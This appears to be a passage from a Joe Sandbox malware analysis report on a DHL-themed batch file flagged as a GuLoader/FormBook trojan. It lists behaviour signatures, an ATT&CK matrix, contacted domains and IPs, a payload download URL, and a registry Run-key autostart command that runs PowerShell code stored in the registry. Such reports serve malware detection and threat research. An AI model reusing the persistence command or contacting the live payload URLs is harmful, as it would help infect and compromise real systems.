Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Source: Yara match

File source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match

File source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	112 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rDHL_PT563857935689275783656385FV-GDS3535353.bat	39%	ReversingLabs	Script.Trojan.Tnega

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://econstramedia.com/S	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende.jpbXR	0%	Avira URL Cloud	safe
https://econstramedia.com/Sam	0%	Avira URL Cloud	safe
https://tejarat-gram.com/duWJGPYoYurORY170.bin	100%	Avira URL Cloud	phishing
https://econstramedia.com/Sa	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://econstramedia.com/Samse	0%	Avira URL Cloud	safe
https://tejarat-gram.com/duWJGPYoYurORY170.binArbesKoneconstramedia.com/duWJGPYoYurORY170.bin	100%	Avira URL Cloud	phishing
https://econstramedia.com/Samsen	0%	Avira URL Cloud	safe
https://econstramedia.com/	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende.	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende.jp	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende.j	0%	Avira URL Cloud	safe
http://econstramedia.com	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsend	0%	Avira URL Cloud	safe
https://econstramedia.co	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende.jpb	0%	Avira URL Cloud	safe
https://econstramedia.c	0%	Avira URL Cloud	safe
https://econstramedia.com/Sams	0%	Avira URL Cloud	safe
https://econstramedia.com/Samsende	0%	Avira URL Cloud	safe
https://econstramedia.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tejarat-gram.com	185.83.114.124	true	false		unknown
econstramedia.com	103.211.216.55	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tejarat-gram.com/duWJGPYoYurORY170.bin	false	Avira URL Cloud: phishing	unknown
https://econstramedia.com/Samsende.jpb	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.com/S	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samse	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samsende.jpbXR	powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.com/	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000002.00000002.2470375891.0000018D4B6E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.com/Sam	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samsen	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tejarat-gram.com/duWJGPYoYurORY170.binArbesKoneconstramedia.com/duWJGPYoYurORY170.bin	wab.exe, 0000000A.00000002.2427597487.00000000243B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://econstramedia.com/Sa	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samsende.jp	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samsende.	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.2250127984.00000000043C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.com/Samsende	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.com/Samsende.j	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.co	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Samsend	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com/Sams	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2470375891.0000018D4A471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://econstramedia.com	powershell.exe, 00000002.00000002.2470375891.0000018D4C214000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2470375891.0000018D4A471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2250127984.00000000043C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://econstramedia.c	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://econstramedia.com	powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2470375891.0000018D4BCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2470375891.0000018D4A69D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.83.114.124	tejarat-gram.com	Iran (ISLAMIC Republic Of)		59441	HOSTIRAN-NETWORKIR	false
103.211.216.55	econstramedia.com	Seychelles		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1473659
Start date and time:	2024-07-15 17:36:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rDHL_PT563857935689275783656385FV-GDS3535353.bat
Detection:	MAL
Classification:	mal100.troj.evad.winBAT@18/9@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 80% Number of executed functions: 55 Number of non-executed functions: 48
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6716 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6988 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rDHL_PT563857935689275783656385FV-GDS3535353.bat

Simulations

Behavior and APIs

Time	Type	Description
11:36:59	API Interceptor	131x Sleep call for process: powershell.exe modified
11:38:09	API Interceptor	3x Sleep call for process: wab.exe modified
16:37:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Scleroconjunctival %Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)
16:37:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Scleroconjunctival %Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.83.114.124	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse
103.211.216.55	Drawing.exe	Get hash	malicious	FormBook	Browse	www.geetamalhotra.com/dq6e/?4h6ptXe=gCmk4CY41YBRNzkMIgpxHLDcJO/SeUa6sXhnC1aM++ZU7dPip1JMqQzcDB9b/rk3DAuPkc/TTQ==&w2=JBZ8
	SOA #093732.exe	Get hash	malicious	FormBook	Browse	www.skyrosceramic.com/hme1/?jPw=XbK6B4uri6OvF71KFs1AoR4G+KEYZc4e7kHOoPVYJEZl8k4bIJ+n3z//pieZBY82GR+z&y2JhS=6lr41hZpgNXtF
	documents-2112491607.xlsm	Get hash	malicious	Hidden Macro 4.0	Browse	kullumanalitours.com/ds/index.html
	documents-1660683173.xlsm	Get hash	malicious	Hidden Macro 4.0	Browse	kullumanalitours.com/ds/index.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
econstramedia.com	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse	103.211.216.55
	BL1+2 DRAFT.cmd	Get hash	malicious	FormBook, GuLoader	Browse	103.211.216.55
	BL1+2 DRAFT.cmd	Get hash	malicious	GuLoader	Browse	103.211.216.55
	BL1+2DRAFT .cmd	Get hash	malicious	FormBook, GuLoader	Browse	103.211.216.55
tejarat-gram.com	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse	185.83.114.124

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	https://www.google.com.au/url?q=//www.google.co.nz/amp/s/ibuyhousekeys.com/document/findattached.html	Get hash	malicious	HTMLPhisher	Browse	208.91.199.118
	Solicitud urgente de presupuestoNueva colaboraci#U00f3n pdf.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	http://www.veathika.com/cgi-bin/june.php	Get hash	malicious	HTMLPhisher	Browse	5.100.155.8
	z1X3Z1ohoefF078ij.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Products and Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	https://mail.pfl.fyi/v1/messages/01909fdd-253c-74e4-a4d4-2d3080c42178/click?link_id=01909fdd-2577-78fa-9aa1-1363f665f21c&signature=ec89d906ae45cddf78ff2ac5ff90a7b4fb4098de	Get hash	malicious	Unknown	Browse	208.91.199.181
	Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	https://www.ijopjournal.com	Get hash	malicious	Unknown	Browse	103.53.42.223
	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse	103.211.216.55
	z2PKRSEkM9edbE7Om.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
HOSTIRAN-NETWORKIR	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse	185.83.114.124
	Shipping Docs.rdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.49
	PAYMENT LIST.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.49
	PO# CV-PO23002552.PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.49
	PO# CV-PO23002552.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.35
	Overdue Account.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.35
	https://hamrahansystem.com/4xe3cx/?PliaTEYmfRsh	Get hash	malicious	Unknown	Browse	45.138.134.33
	Saham_Man.apk	Get hash	malicious	IRATA	Browse	5.144.130.58
	Invoice-AWB-Document.doc.exe	Get hash	malicious	AgentTesla	Browse	5.144.130.32
	https://wro16kdfl.lavinphysio.com/?qp=c2FuYWJyaWF0QGhpbGxzYm9yb3VnaGNvdW50eS5vcmc=	Get hash	malicious	Unknown	Browse	5.144.130.49

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	start1.bat	Get hash	malicious	Unknown	Browse	103.211.216.55
	List of 20 computers and CPUs.bat	Get hash	malicious	Unknown	Browse	103.211.216.55
	Health records + X- ray (2).bat	Get hash	malicious	Unknown	Browse	103.211.216.55
	HealthInde.bat	Get hash	malicious	Unknown	Browse	103.211.216.55
	http://24usred.com/0kqZRS	Get hash	malicious	Unknown	Browse	103.211.216.55
	https://bmryw2w4c4m3dw.inwise.net/Page_7-15-2024_1	Get hash	malicious	Phisher	Browse	103.211.216.55
	https://www.mynewsbreak.me/redirect-v2?originalUrl=aHR0cHM6Ly90cmFjay5oZWFsdGh5am9pbnRhaWQuY29tL2YwYmIzYjZlLWEyZjktNDBiYy1hZTNiLWQ0YmI5NzE0OTBlNT9jYW1wYWlnbmlkPTE3OTgzMTc0Mjk5OTAxMDUwODkmZmxpZ2h0aWQ9MTc5ODMxODI1NDM3OTExNDQ5NyZjcmVhdGl2ZWlkPTE3OTgzMjIxNzg0MjQ1NzgwNDkmdGlkPW5ld3NicmVha18xNzk4MzE3NDI5OTkwMTA1MDg5XzE3OTgzMTgyNTQzNzkxMTQ0OTdfMTc5ODMyMjE3ODQyNDU3ODA0OSZjbGlja2lkPW52c3NfMDkyODBlYmFmNTEwNDgyZmJkZGRkZjg4N2VhOWE0ZThfMTc5ODMyMjE3ODQyNDU3ODA0OSZpc19ub3ZhPXRydWUmbmJfY2lkPTA5MjgwZWJhZjUxMDQ4MmZiZGRkZGY4ODdlYTlhNGU4XzE3OTgzMjIxNzg0MjQ1NzgwNDk%3D&bucket=dmg_local_email_bucket_18&message_id=qk4YypJ-1SsY65wP&tag=subscribed&exps=nl_bucket_exp_24_2-v3%2Cnl_monetization_24_2-control%2Cnl_prerollout_24_2-v1%2Cnova_traffic_exp_full_09-v26&event_name=emailLinkClick&hashed_email=bb7f633dc30a2a97e85bd33fed777bd2a3f9c2541b52eb64ff345914e50393a5&email_domain=minotsbs.com&meta=eyJzdWJzX3RvcGljIjogImxvY2FsIiwgImZyZXEiOiAiZGFpbHkiLCAic2VuZF90cyI6IDE3MjA5NTkxNzcsICJsaW5rIjogIlNzS3hBQUJpIiwgInBvcyI6ICJsb2dvIiwgImFkX2lkIjogIjE3OTgzMjIxNzg0MjQ1NzgwNDkiLCAibm92YV9zbmFwc2hvdF9pZCI6ICIwOTI4MGViYWY1MTA0ODJmYmRkZGRmODg3ZWE5YTRlOF8xNzk4MzIyMTc4NDI0NTc4MDQ5In0%3D	Get hash	malicious	Unknown	Browse	103.211.216.55
	rTransaction_ReceiptCopy.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	103.211.216.55
	Purchase Order -JJ023639PDF.scr.exe	Get hash	malicious	Unknown	Browse	103.211.216.55
	Brnesde.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.211.216.55
37f463bf4616ecd445d4a1937da06e19	start1.bat	Get hash	malicious	Unknown	Browse	185.83.114.124
	Health records + X- ray (2).bat	Get hash	malicious	Unknown	Browse	185.83.114.124
	SecuriteInfo.com.Trojan.NSIS.Injector.28272.29476.exe	Get hash	malicious	GuLoader, RedLine	Browse	185.83.114.124
	Brnesde.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.83.114.124
	NewOrder_LCL240887.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.83.114.124
	Makrokdernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.83.114.124
	doc20240715-00014.bat.exe	Get hash	malicious	GuLoader	Browse	185.83.114.124
	setup.exe	Get hash	malicious	Unknown	Browse	185.83.114.124
	setup.exe	Get hash	malicious	Unknown	Browse	185.83.114.124
	SecuriteInfo.com.W32.Kryptik.CI.tr.21358.1519.exe	Get hash	malicious	Unknown	Browse	185.83.114.124

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_drlxzusf.lnu.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0t5l42n.d4g.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmh5ct4f.13y.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
